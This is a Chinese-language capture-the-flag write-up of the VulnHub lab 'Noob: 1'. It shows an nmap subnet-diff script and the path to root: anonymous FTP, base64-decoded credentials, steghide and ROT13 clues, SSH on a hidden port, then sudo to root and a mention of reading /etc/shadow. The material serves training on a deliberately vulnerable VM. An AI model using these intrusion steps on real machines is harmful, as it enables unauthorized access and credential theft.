vulnhub:Noob: 1(拿下的第一台靶机)

发布时间:2026/7/6 4:05:42
vulnhub:Noob: 1(拿下的第一台靶机) 扫描是什么扫描一个网段下所有机器的IP和常用端口比如192.168.1.1路由器开着80、443192.168.1.100你的电脑开着22192.168.1.101不认识的设备开着3389是“横向”扫一台机器而不是“纵向”扫一台机器的全部端口。为什么需要比较因为单次扫描只是一张快照看不出变化。对比两天的结果才能发现发现的异常意味着什么突然多了一台新设备有人私接设备或有入侵者某台机器突然打开新端口可能被入口后门、木马某台机器消失了设备下线或被攻击瘫痪扫描脚本#!/bin/bash SCRIPT_DIR$(dirname $(realpath $0)) # 获取本机信息 IFACE$(ip route | awk /default/ {print $5} | head -1) LOCAL_IP$(ip -4 addr show $IFACE | awk /inet / {print $2} | cut -d/ -f1) SUBNET$(echo $LOCAL_IP | cut -d. -f1-3).0/24 SCAN_DIR~/nmap_diff mkdir -p $SCAN_DIR d$(date %Y-%m-%d) y$(date -d yesterday %Y-%m-%d) echo echo 正在扫描网段: $SUBNET ... echo /usr/bin/nmap -T4 -oX $SCAN_DIR/scan_$d.xml $SUBNET /dev/null 21 parse_host() { local xml$1 python3 - $xml EOF import sys import xml.etree.ElementTree as ET tree ET.parse(sys.argv[1]) root tree.getroot() hosts [] for host in root.findall(host): status host.find(status) if status is None or status.get(state) ! up: continue addr_el host.find(address) if addr_el is None: continue addr addr_el.get(addr) ports [] ports_el host.find(ports) if ports_el is not None: for port in ports_el.findall(port): state_el port.find(state) if state_el is not None and state_el.get(state) open: ports.append(port.get(portid)) hosts.append((addr, ports)) for addr, ports in hosts: port_str , .join(ports) if ports else 无开放端口 print(f{addr}|{port_str}) EOF } RESULTS$(parse_host $SCAN_DIR/scan_$d.xml) echo printf %-18s %s\n IP地址 开放端口 echo echo echo 【本机】 echo -------------------------------------------------- while IFS| read -r ip ports; do if [ $ip $LOCAL_IP ]; then printf %-18s %s\n $ip $ports fi done $RESULTS echo echo 【其他机器】 echo -------------------------------------------------- while IFS| read -r ip ports; do if [ $ip ! $LOCAL_IP ]; then printf %-18s %s\n $ip $ports fi done $RESULTS echo echo if [ -e $SCAN_DIR/scan_$y.xml ]; then /usr/bin/ndiff $SCAN_DIR/scan_$y.xml $SCAN_DIR/scan_$d.xml $SCRIPT_DIR/diff.txt echo [变动记录已保存到 $SCRIPT_DIR/diff.txt] echo fi结果┌──(kali㉿kali)-[~/桌面] └─$ ./nampsm.sh 正在扫描网段: 192.168.75.0/24 ... IP地址 开放端口 【本机】 -------------------------------------------------- 192.168.75.* 22 【其他机器】 -------------------------------------------------- 192.168.75.1 135, 2179, 3306 192.168.75.2 53 192.168.75.254 无开放端口 192.168.75.1— VMware 虚拟带宽占用机端口作用135Windows RPC2179Hyper-V虚拟机连接你一台机器安装了Hyper-V 或 VMware3306MySQL你一台机器上安装了数据库就是你运行VMware的那台Windows物理机。192.168.75.2— VMware DNS/DHCP 服务端口作用53DNS解析VMware自动创建的虚拟服务负责给虚拟机分配IP和解析域名不是真实的机器。192.168.75.254— VMware NAT 网关负责把虚拟机的流量转发到外网虚拟路由器也不是真实的机器21 FTP 文件传输服务可能存在匿名登录、弱密码80 HTTP 跑着一个网站可能存在Web漏洞# 看看网站是什么 curl http://192.168.75.* # 试试 FTP 匿名登录 ftp 192.168.75.* # 用户名输 anonymous密码直接回车 ftp 192.168.75.* # 用户名: anonymous # 密码: 直接回车 Connected to 192.168.75.*. 220 (vsFTPd 3.0.3) Name (192.168.75.*:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp ls 229 Entering Extended Passive Mode (|||15579|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 21 Sep 21 2021 cred.txt -rw-r--r-- 1 0 0 86 Jun 11 2021 welcome 226 Directory send OK. ftp cat cred.txt ?Invalid command. ftp cat welcome ?Invalid command. ftp 为什么ftp没有cat FTP 是文件传输协议不是 Shell它只能进行文件操作不能执行命令。 可能到这里会有疑问cat vim不也是对文件操作吗 好问题区别在于哪里执行、执行的是什么。 cat/vim是程序需要操作系统来运行 你输入 cat → Linux内核 → 读文件内容 → 输出到终端 FTP 是网络协议只定义了几条固定指令 你输入 get → FTP服务 → 把文件传过来 FTP服务收到cat这两个字母它不知道该做什么因为协议里根本没有定义这条指令。 有两个文件 一个是提示还有一个是网站的账户密码 ┌──(kali㉿kali)-[~/桌面] └─$ cat cred.txt Y2hhbXA6cGFzc3dvcmQ ┌──(kali㉿kali)-[~/桌面] └─$ cat welcome WELCOME Were glad to see you here. All The Best ┌──(kali㉿kali)-[~/桌面] └─$ echo Y2hhbXA6cGFzc3dvcmQ | base64 -d champ:password http://192.168.75.* 登录 champ:password 然后网站上有下载附件(一个压缩包) downloadsfunny.bmp,funny.jpg,sudo ┌──(kali㉿kali)-[~/下载/downloads] └─$ file sudo # 看是什么类型的文件 cat sudo # 如果是文本就直接看内容 sudo: ASCII text Did you notice the file name? Isnt is interesting? 你注意到文件名了吗是不是很有趣 这个提示后面有用 ┌──(kali㉿kali)-[~/下载/downloads] └─$ # 安装 steghide sudo apt install steghide 测图片隐写 ┌──(kali㉿kali)-[~/下载/downloads] └─$ steghide extract -sf funny.jpg Enter passphrase: wrote extracted data to hint.py. 这个是空密码 hint.py This is_not a python file but you are revolving around. well, try_ to rotate some words too. 提示rot13 ┌──(kali㉿kali)-[~/下载/downloads] └─$ steghide extract -sf funny.bmp Enter passphrase: wrote extracted data to user.txt. 这个是sudo “你注意到文件名了吗是不是很有趣” jgs:guvf bar vf n fvzcyr bar 使用rot13解一下 ┌──(kali㉿kali)-[~/下载/downloads] └─$ echo jgs:guvf bar vf n fvzcyr bar | tr A-Za-z N-ZA-Mn-za-m wtf:this one is a simple one 到了这里就卡住了拿到了wtf:this one is a simple one但是没有了利用点 回到开头 我们是拿脚本扫描的脚本只扫常用端口nmap 默认扫1000个常用端口不扫全部 65535 个端口 所以还是不要偷懒尽量使用工具 ┌──(kali㉿kali)-[~/桌面] └─$ ./nampsm.sh 正在扫描网段: 192.168.75.0/24 ... IP地址 开放端口 【本机】 -------------------------------------------------- 192.168.75.* 22 【其他机器】 -------------------------------------------------- 192.168.75.1 135, 2179, 3306 192.168.75.2 53 192.168.75.* 21, 80 192.168.75.254 无开放端口 RustScan是用Rust编写的高速端口扫描工具比传统的Nmap快速扫描。 rustscan -a 192.168.75.* 安装 rustscan wget https://github.com/RustScan/RustScan/releases/download/2.3.0/rustscan_2.3.0_amd64.deb sudo dpkg -i rustscan_2.3.0_amd64.deb -a 192.168.75.* -a即-addresses指定要扫描的目标IP地址 ──(kali㉿kali)-[~/桌面] └─$ rustscan -a 192.168.75.* PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 64 80/tcp open http syn-ack ttl 64 55077/tcp open unknown syn-ack ttl 64 MAC Address: 00:0C:29:5B:0D:51 (VMware) 通过namp 确定他是什么服务 ──(kali㉿kali)-[~/桌面] └─$ nmap -sV -p 55077 192.168.75.* Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-16 23:45 CST Nmap scan report for 192.168.75.* Host is up (0.00067s latency). PORT STATE SERVICE VERSION 55077/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) MAC Address: 00:0C:29:5B:0D:51 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds ssh sudo -l 查当前用户的权 wtfwtf:~$ sudo -l [sudo] password for wtf: Matching Defaults entries for wtf on wtf: env_reset, mail_badpass, secure_path/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User wtf may run the following commands on wtf: (ALL : ALL) ALL wtfwtf:~$ sudo su rootwtf:/home/wtf# cat /root/root.txt RW5kb3JzZSBtZSBvbiBsaW5rZWRpbiA9PiBodHRwczovL3d3dy5saW5rZWRpbi5jb20vaW4vZGVlcGFrLWFoZWVyCg whoami who am i我是谁 就是显示当前登录的用户名 cat /etc/shadow 能读到内容也说明是 root因为普通用户没权限读这个文件 普通用户 flag → /home/用户名/user.txt root flag → /root/root.txt